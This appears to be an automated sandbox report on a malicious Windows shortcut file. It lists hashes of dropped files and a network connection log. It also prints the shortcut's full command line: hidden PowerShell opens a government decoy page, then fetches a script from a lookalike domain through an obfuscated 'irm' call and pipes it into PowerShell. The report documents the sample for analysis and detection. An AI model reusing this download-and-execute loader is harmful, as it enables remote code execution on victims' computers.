| SSDEEP: | 96:xAzlHyIFKL2O9qrh7KCDpuTJ5Eo9AdrxQgP:a1yt2jrACluTLL2NP |
| MD5: | 4AFF37FF69E58E0F335B93C3E04D1340 |
| SHA1: | 9389955E675540FEBC3491813EB946E10EA4EFCE |
| SHA-256: | 21B4652587BE83B99B2065FB8DED25C8B8656505D40BF93F0328CCFAC12ABBEA |
| SHA-512: | 569E252207D6537B9B4F3DD854BCC15FEA41A7D5B3F1690755B6179AD0B713D0F2A0B588FB4AABCBB4028BE62459AEDFA10F8D973C7B6101CCCF41F659E947B0 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0WU5RS7E2LEYX4UPRJNW.temp
Download File
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 4601 |
| Entropy (8bit): | 3.789183730177295 |
| Encrypted: | false |
| SSDEEP: | 48:ySuP55ohDL16el1gSogZoaRjL16elegSogZoal1:yS65SZL16e1HnpL16e8Hnj |
| MD5: | 0E1A6CFAD9FA713FA9D626EA9114B866 |
| SHA1: | 96C1ADF3D6754840AA3CCF0F41495ABC91DB1054 |
| SHA-256: | 14074F8BBFFD6E42CE4226FFF15F8CAD034D6FE4729FEA921F6F830317276E5D |
| SHA-512: | 36E9AB75132E1F72B54CB5BBBC222A29C0398395C89A8E5191F7396D21345E2942CEC336A3FEA32EED6BAC11E2C056A67127BD0D63252BBAD0155708ADECC4E7 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7cd4e7a7671bd03a.customDestinations-ms (copy)
Download File
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 4601 |
| Entropy (8bit): | 3.789183730177295 |
| Encrypted: | false |
| SSDEEP: | 48:ySuP55ohDL16el1gSogZoaRjL16elegSogZoal1:yS65SZL16e1HnpL16e8Hnj |
| MD5: | 0E1A6CFAD9FA713FA9D626EA9114B866 |
| SHA1: | 96C1ADF3D6754840AA3CCF0F41495ABC91DB1054 |
| SHA-256: | 14074F8BBFFD6E42CE4226FFF15F8CAD034D6FE4729FEA921F6F830317276E5D |
| SHA-512: | 36E9AB75132E1F72B54CB5BBBC222A29C0398395C89A8E5191F7396D21345E2942CEC336A3FEA32EED6BAC11E2C056A67127BD0D63252BBAD0155708ADECC4E7 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2677 |
| Entropy (8bit): | 3.9809392474467282 |
| Encrypted: | false |
| SSDEEP: | 48:8ooK0d3TvjbH8idAKZdA1oehwiZUklqehly+3:8XK03Pqy |
| MD5: | 62B9373847ED7AD7C00A6C070C0C2D1A |
| SHA1: | 62EDF9913854D9E6CA796790C835F3DB67BF26C6 |
| SHA-256: | 783B5CF3FAB32040F523A322DB96568DF8F63CDC6B89CECFC643E6076D5FAA69 |
| SHA-512: | 55AB1D7170FB3CA318104179BACC41502F966851BE37BCAE566404E5292A2665F7D002E8D27650DC8B02125756C623A2954A23A719FDF641CACC0EF7FDF8095E |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2679 |
| Entropy (8bit): | 3.9928152268187103 |
| Encrypted: | false |
| SSDEEP: | 48:8L0d3TvjbH8idAKZdA1leh/iZUkAQkqehay+2:8L03V9Qny |
| MD5: | 8CD6DCBC443EFC44F138733F876AA8E8 |
| SHA1: | 78A3F97916E570384C91EE7A0E7E49E615D0AD6A |
| SHA-256: | 3BA196E2D0C200195EADA0B42985913F980342818390094DB8BBC59BB18A28AB |
| SHA-512: | 95FE3BAC87FD69F7BA5540CC57FD7440C93FDCFDD28C2CE06BD527D5176D9871AF99C8D16AA057C1DC23A344C0A8320CB65B76AC8B019D98A832A7AB82406244 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2693 |
| Entropy (8bit): | 4.006442133107262 |
| Encrypted: | false |
| SSDEEP: | 48:860d3TvjbH8idAKZdA14t5eh7sFiZUkmgqeh7sMy+BX:8603Vnmy |
| MD5: | EFE49AF3495DD854F525F26FDA955EF3 |
| SHA1: | B6AAD46B6B119504D48D01BCFF6F924D544A6D27 |
| SHA-256: | D9C08263971E8FFD7C1564E506DDE722A8EF3F3F5D8AFB45E1D8C63FCF68DF60 |
| SHA-512: | 9C761C6A92D03F361A66CCC2215A0DF809D333215130089EDEC55EDD84AD7117637FF84C0070F28EE937082D0136AA332346B468DC18FB7D0456560BF5EA2A40 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2681 |
| Entropy (8bit): | 3.9937425256524244 |
| Encrypted: | false |
| SSDEEP: | 48:8qK0d3TvjbH8idAKZdA16ehDiZUkwqehey+R:8b03Gky |
| MD5: | 4C7CB5694FEF42E46AEEAA86CA8B892E |
| SHA1: | A2ECAA1C95ABC9999137514F80B14EEF9C499AB8 |
| SHA-256: | 10478794C2A038C7CE776AF2159B852D20BC9EDEBF6B86E54EC027E8DC30A7A8 |
| SHA-512: | B670FDCDEC601308BF7F07E40E298DC0199A44C62875CABB4C26CA2776708C7433E0E213F8D210001D6A3D185EB446E28BE9AF46ABB0E2596206BDF3ED7336FE |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2681 |
| Entropy (8bit): | 3.9830163484459318 |
| Encrypted: | false |
| SSDEEP: | 48:8V0d3TvjbH8idAKZdA1UehBiZUk1W1qehoy+C:8V03G9Iy |
| MD5: | 16E3EBC74E955F3BD006067D60FFA5E3 |
| SHA1: | 53E9BCBD7E27AC749DC5D4B0049FD4DE5A07A43B |
| SHA-256: | B5226933B52CAB62C88576DCAE2801D68EDC32B537B7A1954D4D32C88CA26D90 |
| SHA-512: | 6BB3CF363386DCBC197F7C2CC0627A11E9BC655A3CF1B3247517EBA999153E6AE4ECE6C57251EEBEDF9FF0BF792EA2A8FDD7CDEAEFED5495A0F35CD1442E0329 |
| Malicious: | false |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Download File
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2683 |
| Entropy (8bit): | 3.9923420153583473 |
| Encrypted: | false |
| SSDEEP: | 48:8D0d3TvjbH8idAKZdA1duTrehOuTbbiZUk5OjqehOuTbmy+yT+:8D03XTYTbxWOvTbmy7T |
| MD5: | 976108D73A148D835AC8B7DF8360BE85 |
| SHA1: | A1961C50FF59E46C45AAD8B8A897ED1D9E0CF1C0 |
| SHA-256: | 3591BF74C07E6660D04D5A308DE613D0DE1EF71828375A7D9685CA963177CE38 |
| SHA-512: | 2BABFEF19C2FA08306DECB6DE8EA5748587FDA14423F32BBF4BC58ABD64840F00B04AE6DA1E104EB39D8707FCDB13BBD8B05097B2542DF69F0138AA5D1F127F0 |
| Malicious: | false |
| Preview: |
| Process: | C:\Windows\System32\svchost.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 55 |
| Entropy (8bit): | 4.306461250274409 |
| Encrypted: | false |
| SSDEEP: | 3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y |
| MD5: | DCA83F08D448911A14C22EBCACC5AD57 |
| SHA1: | 91270525521B7FE0D986DB19747F47D34B6318AD |
| SHA-256: | 2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9 |
| SHA-512: | 96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA |
| Malicious: | false |
| Preview: |
| Process: | C:\Program Files\Google\Chrome\Application\chrome.exe |
| File Type: | |
| Category: | downloaded |
| Size (bytes): | 527 |
| Entropy (8bit): | 4.801811297153848 |
| Encrypted: | false |
| SSDEEP: | 12:J0+ox0UDWsRGDW8hsw4Aox1WR3oKcpRmsXtmIrgvRMKiSQe9uE7F50v+T:yiUDWsYDWus/q3oKcpRTXt+vEHK50v+ |
| MD5: | 91B69177B0962BD96D0259982F719C13 |
| SHA1: | 2928B4AFCB66355CE9EAEEA22C3B0EEAB451F67A |
| SHA-256: | AECC7333C5335AA7B28DA1BE8EC4FFB4F64688FE496E17906A7D815024B920B5 |
| SHA-512: | B9215EC5B0AD38C32C05A0805A7AD38483756C5428B1B5033927109980A2A98725BBDB985ECE6BEDA6801305FE627FBFB6B14CA3C6C197FC6866A73A6BD95807 |
| Malicious: | false |
| URL: | https://pmo.gov.pk/site/404 |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 258 |
| Entropy (8bit): | 5.253795032079398 |
| Encrypted: | false |
| SSDEEP: | 6:3P2XIpp+a6LKILbAWKCsu2xKvGz4g1L3ppNaA3gYZzI/HLN9yn:f2XIpUkIX7KC24gd3pjZdZE/rKn |
| MD5: | 3BFC25F8AB082D0F73CA42C0EE83B35E |
| SHA1: | 8CB2DC046512E25D5660C3BC88723886C1B52C0F |
| SHA-256: | 70F613B732D596F69B0871D154466FB5168DA255C451A5E69E31FF65CC6665A0 |
| SHA-512: | C534CD1B47173AE0F5B3690B960A4B0FDC479D3CF12EBA0C319327D4B3F1DB46896175E3848BF02A09266ED6405DE1ABD7FC5E36477AE36AABA680794AE6810A |
| Malicious: | false |
| Preview: |
| File type: | |
| Entropy (8bit): | 4.3817665704973665 |
| TrID: |
|
| File name: | jKSjtQ8W7O.lnk |
| File size: | 2'013 bytes |
| MD5: | 154af2b280309c99ae116841e1db5474 |
| SHA1: | db66323cd296d1571b8c1816c2fbefb474112e5e |
| SHA256: | ffb1e4d9253ed97cc381826993a8812ac6c53f7a7d01793e282fc148102bdab3 |
| SHA512: | e846204139083b31915c389a8e8ab0d1de5b4daeb5909a8fc2d6ab3b54cd9f43076721a217905c4e26e6225da6335d0ad4bd78bb84252fb34ca12fd8291b353e |
| SSDEEP: | 24:8j+A9JilCQatK3sphWSO0MAbWt+/CWGX6RK4QTPNQTTvS7MReMtYqV8TJZTJpab5:8CaJ5lswLqX6RjvSQReMtBW3rat74 |
| TLSH: | E641882426F61708F5F28B3EA8777221493B7809C935DB8E029D80494B67A11E8B5F3B |
| File Content Preview: | L..................F.... ....D7.t_.. j........A.t_...............................P.O. .:i.....+00.../C:\...................V.1......X.h..Windows.@........OwH.Y.L...........................~..W.i.n.d.o.w.s.....Z.1......Y.K..System32..B........OwH.Y.L...... |
 | |
| Icon Hash: | 74f4f4dcece9e9ed |
General | |
|---|---|
| Relative Path: | ..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Command Line Argument: | -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.ministryof.gov.pk; nslookup www.Elpson.com; nslookup www.mproton.com; start https://pmo.gov.pk/site/404; $did='enpont.xyz/'; &('i'+'r'+'m') http://ministryofficedownloadcloudserver.scre$did/78/|Powershell |
| Icon location: | %ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Sep 30, 2024 18:58:14.782404900 CEST | 49673 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:14.938659906 CEST | 49672 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:17.329417944 CEST | 49676 | 443 | 192.168.2.8 | 52.182.143.211 |
| Sep 30, 2024 18:58:19.724209070 CEST | 80 | 49707 | 217.20.57.18 | 192.168.2.8 |
| Sep 30, 2024 18:58:19.724239111 CEST | 80 | 49707 | 217.20.57.18 | 192.168.2.8 |
| Sep 30, 2024 18:58:19.724248886 CEST | 80 | 49707 | 217.20.57.18 | 192.168.2.8 |
| Sep 30, 2024 18:58:19.724260092 CEST | 80 | 49707 | 217.20.57.18 | 192.168.2.8 |
| Sep 30, 2024 18:58:19.724272013 CEST | 80 | 49707 | 217.20.57.18 | 192.168.2.8 |
| Sep 30, 2024 18:58:19.724330902 CEST | 49707 | 80 | 192.168.2.8 | 217.20.57.18 |
| Sep 30, 2024 18:58:19.724375963 CEST | 49707 | 80 | 192.168.2.8 | 217.20.57.18 |
| Sep 30, 2024 18:58:19.724430084 CEST | 80 | 49707 | 217.20.57.18 | 192.168.2.8 |
| Sep 30, 2024 18:58:19.724487066 CEST | 49707 | 80 | 192.168.2.8 | 217.20.57.18 |
| Sep 30, 2024 18:58:19.724828005 CEST | 80 | 49707 | 217.20.57.18 | 192.168.2.8 |
| Sep 30, 2024 18:58:19.724924088 CEST | 49707 | 80 | 192.168.2.8 | 217.20.57.18 |
| Sep 30, 2024 18:58:19.954267979 CEST | 49677 | 80 | 192.168.2.8 | 192.229.211.108 |
| Sep 30, 2024 18:58:24.394479990 CEST | 49673 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:24.547982931 CEST | 49672 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:24.726592064 CEST | 49708 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:24.733218908 CEST | 80 | 49708 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:24.733288050 CEST | 49708 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:24.903947115 CEST | 49708 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:25.074610949 CEST | 80 | 49708 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.237471104 CEST | 80 | 49708 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.292115927 CEST | 49708 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:25.307483912 CEST | 49712 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:25.307540894 CEST | 443 | 49712 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.307601929 CEST | 49712 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:25.349230051 CEST | 49712 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:25.349266052 CEST | 443 | 49712 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.387310982 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:25.387357950 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.387414932 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:25.388428926 CEST | 49714 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:25.388442039 CEST | 443 | 49714 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.388495922 CEST | 49714 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:25.389316082 CEST | 49714 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:25.389329910 CEST | 443 | 49714 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.389484882 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:25.389497995 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.813328981 CEST | 443 | 49712 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.814428091 CEST | 49712 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:25.822438002 CEST | 49712 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:25.822455883 CEST | 443 | 49712 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.822896004 CEST | 443 | 49712 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:25.839638948 CEST | 49712 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:25.887403011 CEST | 443 | 49712 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:26.265007973 CEST | 443 | 49706 | 23.206.229.226 | 192.168.2.8 |
| Sep 30, 2024 18:58:26.265255928 CEST | 49706 | 443 | 192.168.2.8 | 23.206.229.226 |
| Sep 30, 2024 18:58:26.317559958 CEST | 443 | 49712 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:26.317653894 CEST | 443 | 49712 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:26.318592072 CEST | 49712 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:26.361201048 CEST | 49712 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:27.115118027 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.115576029 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.115634918 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.115658045 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.115720987 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.115762949 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.115770102 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.116338968 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.116384983 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.119904995 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.170972109 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.204068899 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.210912943 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.210958004 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.211338997 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.211349964 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.217111111 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.217128992 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.510333061 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.551249027 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.988599062 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.988620043 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.988694906 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.989396095 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.989396095 CEST | 49713 | 443 | 192.168.2.8 | 203.101.184.118 |
| Sep 30, 2024 18:58:27.989418983 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:27.989428997 CEST | 443 | 49713 | 203.101.184.118 | 192.168.2.8 |
| Sep 30, 2024 18:58:28.749834061 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:28.749886990 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:28.749948025 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:28.750176907 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:28.750191927 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:28.947761059 CEST | 49720 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:28.952867031 CEST | 80 | 49720 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:28.952956915 CEST | 49720 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:28.957549095 CEST | 49720 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:28.962364912 CEST | 80 | 49720 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.411638021 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.411875963 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:29.411902905 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.413018942 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.413067102 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:29.414371014 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:29.414437056 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.452848911 CEST | 80 | 49720 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.455054045 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:29.455104113 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.455173016 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:29.456813097 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:29.456825972 CEST | 443 | 49719 | 142.250.186.132 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.459575891 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:29.459588051 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.508698940 CEST | 49719 | 443 | 192.168.2.8 | 142.250.186.132 |
| Sep 30, 2024 18:58:29.510165930 CEST | 49720 | 80 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:29.931960106 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.932030916 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:29.977736950 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:29.977761984 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.978038073 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:29.984658003 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.031405926 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482490063 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482544899 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482563972 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482587099 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482614040 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482620955 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.482640982 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482652903 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482661009 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.482681036 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.482702971 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.482743025 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.482755899 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.483171940 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.483203888 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.483247042 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
| Sep 30, 2024 18:58:30.483254910 CEST | 443 | 49722 | 188.114.97.3 | 192.168.2.8 |
| Sep 30, 2024 18:58:30.483292103 CEST | 49722 | 443 | 192.168.2.8 | 188.114.97.3 |
